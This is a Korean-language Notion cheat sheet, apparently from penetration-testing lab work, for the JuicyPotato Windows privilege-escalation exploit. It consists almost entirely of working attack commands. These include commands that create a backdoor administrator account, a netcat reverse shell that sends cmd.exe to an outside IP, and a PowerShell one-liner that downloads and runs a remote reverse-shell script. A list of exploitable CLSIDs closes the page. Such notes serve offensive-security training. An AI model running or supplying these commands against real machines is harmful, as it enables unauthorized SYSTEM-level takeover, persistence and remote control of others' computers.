JuicyPotato | Notion

SYSTEM 권한 확인용 간단 실행 NT AUTHORITY\\\\SYSTEM 으로 찍히면 성공.

.\\\\JuicyPotato.exe -l 1337 -p "C:\\\\Windows\\\\System32\\\\cmd.exe" -a "/c whoami /all > C:\\\\Users\\\\merlin\\\\Desktop\\\\jp.txt" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

type C:\\\\Users\\\\merlin\\\\Desktop\\\\jp.txt

새 계정 생성 & 관리자 그룹 추가

# 1) 로컬 유저 생성
.\\\\JuicyPotato.exe -l 1337 -p "cmd.exe" -a "/c net user wook WookPass123! /add" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

# 2) Administrators 그룹에 추가
.\\\\JuicyPotato.exe -l 1337 -p "cmd.exe" -a "/c net localgroup administrators wook /add" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

리버스쉘

# this definitely worked
.\\jp.exe -t * -p c:\\windows\\system32\\cmd.exe -a "/c C:\\Users\\apache\\Desktop\\nc.exe 192.168.45.229 1337 -e cmd.exe" -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}"

# 타겟 윈도우
.\\\\JuicyPotato.exe -l 1337 -p "cmd.exe" -a "/c powershell -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('<http://10.10.14.9/Invoke-PowerShellTcp.ps1>');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.9 -Port 4444" -t * -c {4991d34b-80a1-4291-83b6-3328366b9097}

다른 CLSID

# 가장 먼저 시도 BITS 서비스 CLSID
{4991d34b-80a1-4291-83b6-3328366b9097}

# 추가로 알려진 것들
{e60687f7-01a1-40aa-86ac-db1cbf673334}
{6d18ad12-bde3-4393-b311-099c346e6df9}
{03ca98d6-ff5d-49b8-abc6-03dd84127020}
{5c6c3c20-0cf4-11d1-b95a-0060977b9152}
{BA126AD1-2166-11D1-B1D0-00805FC1270E}